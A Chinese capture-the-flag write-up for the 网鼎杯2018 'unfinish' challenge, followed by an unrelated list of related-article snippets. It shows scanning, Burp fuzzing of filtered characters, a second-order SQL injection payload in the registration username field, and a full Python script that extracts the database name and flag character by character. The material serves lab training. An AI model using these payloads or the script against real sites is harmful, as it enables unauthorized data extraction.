SQL注入:网鼎杯2018-unfinish

目录

使用dirmap扫描

使用dirsearch扫描

使用acunetix扫描

爆破后端过滤的字符

绕过限制获取数据


这次的进行SQL注入的靶机是:BUUCTF在线评测

进入到主页面后发现是可以进行登录的,那么我们作为一个安全人员,那肯定不会按照常规的方式来进行,我们可以尝试扫描一下该网站,看是否可以扫描出源码

使用dirmap扫描

python dirmap.py -i http://199cdbee-7e05-404f-9714-5263cd95132e.node5.buuoj.cn:81/ -lcf

注:如果在使用该工具时一些依赖包没有可以使用下列命令来安装:

pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple

注:如果出现下列报错,则将Ip.py文件中的下列函数进行替换就可以解决了:

修改完就可以正常的使用dirmap进行扫描了

使用dirsearch扫描

遗憾的是使用这两款扫描工具都没有扫描出有用的信息

使用acunetix扫描

那么我们可以再使用acunetix扫描一下:

通过使用acunetix对网站进行扫描后发现,网站还存在一个register.php页面

那么就可以访问一下:

可以看到这是一个注册页面

那么我们可以尝试注入一个用户,然后查看一下会有什么效果
注册完成后我们登录:

可以看到登录页面是上面那样的

那么现在我们就可以在注册页面看是否可以进行注入

但是点击注册后,页面却显示nnnnnnooooo!

爆破后端过滤的字符

这就说明我们输入的内容中有些字符被后端检测到,因此显示了该页面

因此现在我们需要编辑一个字典来将可能被过滤的字符集合起来,然后使用Burpsuite抓包使用爆破模块看看那些字符被过滤了:

根据爆破结果发现,后端过滤了,  ' 和information

绕过限制获取数据

现在后端过滤的字符我们已经知道了,现在考虑如何在不使用那些字符来实现注入

,我们可以使用substring( from 位置 for  截取数量 )来代替

然后我们就可以构造下列payload:

email=123@qq.com&username=0'+(select hex(hex(database())))+'0&password=123456

注册完成后我们登录

发现用户名是这样的,这是因为我们对其进行了两次16进制编码,现在再进行两次解码即可:

通过两次编码后就成功的得到了数据库名为web

但是因为过滤了information,无法获取表,这里借鉴别人的经验知道表名大概率都是flag,因此我们直接使用下列脚本来获取表名/flag:

import requests
import time
from bs4 import BeautifulSoup       #html解析器def getDatabase():database = ''for i in range(10):data_database = {'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin11@admin.com"+str(i)}#注册requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php",data_database)login_data={'password':'admin',"email":"admin11@admin.com"+str(i)}response=requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakdatabase+=chr(int(username))return databasedef getFlag():flag = ''for i in range(40):data_flag = {'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",'password':'admin',"email":"admin32@admin.com"+str(i)}#注册requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/register.php",data_flag)login_data={'password':'admin',"email":"admin32@admin.com"+str(i)}response=requests.post("http://2681d301-1d48-4f84-9dee-12d427fbed79.node5.buuoj.cn:81/login.php",login_data)html=response.text                  #返回的页面soup=BeautifulSoup(html,'html.parser')getUsername=soup.find_all('span')[0]#获取用户名username=getUsername.textif int(username)==0:breakflag+=chr(int(username))return flagprint(getDatabase())
print(getFlag())

注:需要将代码中的url替换为自己的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/697953.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js 文件预览 在窗口设置“自定义名称”

1. 最近需要做一个点击表格某一列的标题,预览当前文件的一个小功能。本身功能很简单,点击该标题,预览文件,那么拿到他对应的文件地址,在浏览器打开就行了。 2. 事实如此,使用window.open(url, _blank);就行…

【QT-lineEidte动画效果

QT-lineEidte动画效果 一、演示效果二、核心代码三、下载链接 一、演示效果 二、核心代码 #ifndef DynamicUnderlineLineEdit_H #define DynamicUnderlineLineEdit_H#include <QWidget> #include <QLineEdit> #include <QPainter> #include <QPaintEvent…

HTML5新婚、年会、各种聚会的现场抽奖活动(附源码)

文章目录 1.抽奖平台设计来源1.1 主界面效果1.2 抽奖效果1.3 中奖效果 2.效果和源码配置2.1 动态效果2.2 人员信息配置2.3 奖品信息配置2.4 抽奖音效配置2.5 源代码 源码下载 作者&#xff1a;xcLeigh 文章地址&#xff1a;https://blog.csdn.net/weixin_43151418/article/deta…

最长公共前缀【简单】

题目 编写一个函数来查找字符串数组中的最长公共前缀。 如果不存在公共前缀&#xff0c;返回空字符串 ""。 示例如下&#xff1a; 所给提示如下&#xff1a; 1 < strs.length < 2000 < strs[i].length < 200strs[i] 仅由小写英文字母组成 解题 根据…

使用 C++23 协程实现第一个 co_await 同步风格调用接口--Qt计算文件哈希值

C加入了协程 coroutine的特性&#xff0c;一直没有动手实现过。看了网上很多文章&#xff0c;已经了解了协程作为“可被中断和恢复的函数”的一系列特点。在学习过程中&#xff0c;我发现大多数网上的例子&#xff0c;要不就是在main()函数的控制台程序里演示yeild,await, resu…

集合是干嘛的?解决了什么问题?

通常并不能确切地知道最终需要多少个对象。有些时候甚至想用更复杂的方式来保存对象。为解决这个问题&#xff0c;Java 提供了四种类型的“集合类”&#xff1a;Vector&#xff08;矢量&#xff09;、BitSet&#xff08;位集&#xff09;、Stack&#xff08;堆栈&#xff09;以…

【动态规划专栏】背包问题:01背包

本专栏内容为&#xff1a;算法学习专栏&#xff0c;分为优选算法专栏&#xff0c;贪心算法专栏&#xff0c;动态规划专栏以及递归&#xff0c;搜索与回溯算法专栏四部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握算法。 &#x1f493;博主csdn个人主页&#xff1a;小…

个人博客系列-前端部署-创建框架(4)

项目环境介绍 Vue3 Vite TypeScript 服务器&#xff1a;阿里云contos node版本&#xff1a;v18.18.2 npm版本&#xff1a;v10.2.4 执行下面一行命令&#xff0c;创建vue3框架 npm create vuelatest修改端口&#xff1a;9528&#xff0c; 此步骤可以忽略&#xff08;使用默…

Chrome Captcha自动解决器,如何下载CapSolver

在数字时代&#xff0c;CAPTCHA&#xff08;Completely Automated Public Turing tests to tell Computers and Humans Apart&#xff0c;完全自动区分计算机和人类的公共图灵测试&#xff09;作为一项重要的安全措施&#xff0c;用于保护网站免受自动机器人的攻击。然而&#…

儿子刚上初一就很叛逆怎么办?家长们可以试试这样教育!

初一正处于青春期&#xff0c;叛逆是很正常的一种成长现象&#xff0c;这个时候的他们是控制不好自己情绪的&#xff0c;和家长对着干几乎成为了一种本能&#xff0c;他们总会觉得自己爸爸妈妈这不对那不对这不懂那也不懂&#xff0c;所以极其叛逆。 针对初中生&#xff0c;主…

一款跳转警告HTML单页模板源码

一款跳转警告HTML单页模板,源码由HTMLCSSJS组成,记事本打开源码文件可以进行内容文字之类的修改&#xff0c;双击html文件可以本地运行效果&#xff0c;也可以上传到服务器里面&#xff0c;重定向这个界面 代码如下 <!DOCTYPE html> <html> <!--QQ沐编程 www.q…

5个精美的wordpress中文企业主题模板

元宇宙WordPress主题模板 简洁大气的元宇宙 Metaverse WordPress主题模板&#xff0c;适合元宇宙行业的企业官网使用。 https://www.jianzhanpress.com/?p3292 职业技术培训WordPress主题模板 简洁大气的职业技术培训WordPress主题&#xff0c;适合用于搭建教育培训公司官方…

uniapp插件uViewplus的使用(涉及TS下的问题)

在技术选型后最后定了使用有团队维护的uview-plus3.0,官方文档 配置参考&#xff1a;https://juejin.cn/post/7169875753100640270 ts配置参考&#xff1a;https://blog.csdn.net/m0_70027114/article/details/132957426 引入 在项目文件的pages.json中的"easycom"…

【SpringCloudAlibaba系列--OpenFeign组件】OpenFeign的配置、使用与测试以及OpenFeign的负载均衡

步骤一 准备两个服务&#xff0c;provider和consumer 本文使用kotlin语言 provider是服务的提供者&#xff0c;由provider连接数据库 RestController RequiredArgsConstructor RequestMapping("/provider/depart") class DepartController(private val departServ…

磨砂玻璃(毛玻璃)风格的登录页,怎么就流行起来了呢?

拟物风格之后是扁平风格&#xff0c;扁平风格之后是拟态风格&#xff0c;而毛玻璃风格是拟态风格的一种表现形式&#xff0c;如今非常流行了&#xff0c;背后的原因是什么&#xff1f;贝格前端工场为大家详细分析下。 UI风格先后经历了拟物、扁平和拟态三大类&#xff0c;分别…

掼蛋之还贡技巧

掼蛋游戏的规则之一就是进贡和还贡以及抗贡&#xff0c;只要末游没能抗贡&#xff0c;那么就必须把最大的那张牌贡给头游&#xff0c;头游也要选一张牌还给末游。那么我们该如何还贡呢&#xff1f; 一、忌单张 尽量不要还自己的单张&#xff0c;因为自己的数量少&#xff0c;有…

RabbitMQ开启MQTT协议支持

1&#xff09;RabbitMQ启用MQTT插件 rootmq:/# rabbitmq-plugins enable rabbitmq_mqtt Enabling plugins on node rabbitmq: rabbitmq_mqtt The following plugins have been configured:rabbitmq_managementrabbitmq_management_agentrabbitmq_mqttrabbitmq_web_dispatch Ap…

从入门到精通:Spring Boot Alibaba学习网站助你构建高效微服务

介绍&#xff1a;Spring Boot Alibaba是一个基于Spring Boot的微服务开发框架&#xff0c;由阿里巴巴开源&#xff0c;旨在为分布式应用开发提供一站式解决方案。 Spring Boot Alibaba集成了阿里巴巴的微服务实践经验和组件&#xff0c;它是在Spring Cloud项目中孵化的&#xf…

解决Jenkins-2.396启动报错:Failed to start Jenkins Continuous Integration Server.

场景&#xff1a;现有环境已经使用Java 8在运行业务&#xff0c;安装Jenkins后启动报错。 原因&#xff1a;因为Jenkins-2.396 依赖于Java 11 版本才能启动。 解决方法&#xff1a; yum 安装Java11 yum install java-11-openjdk-devel java-11-openjdk 或者二进制安装java11修…

前端部署最优解有哪些?

前端部署最优解涉及多个方面&#xff0c;包括技术选型、部署方式、性能优化等。以下是一些基于我搜索到的资料的详细分析&#xff1a; 技术选型与框架使用&#xff1a;前端技术的选择对性能有很大影响。例如&#xff0c;Vite作为一种新型前端构建工具&#xff0c;以其快速构建的…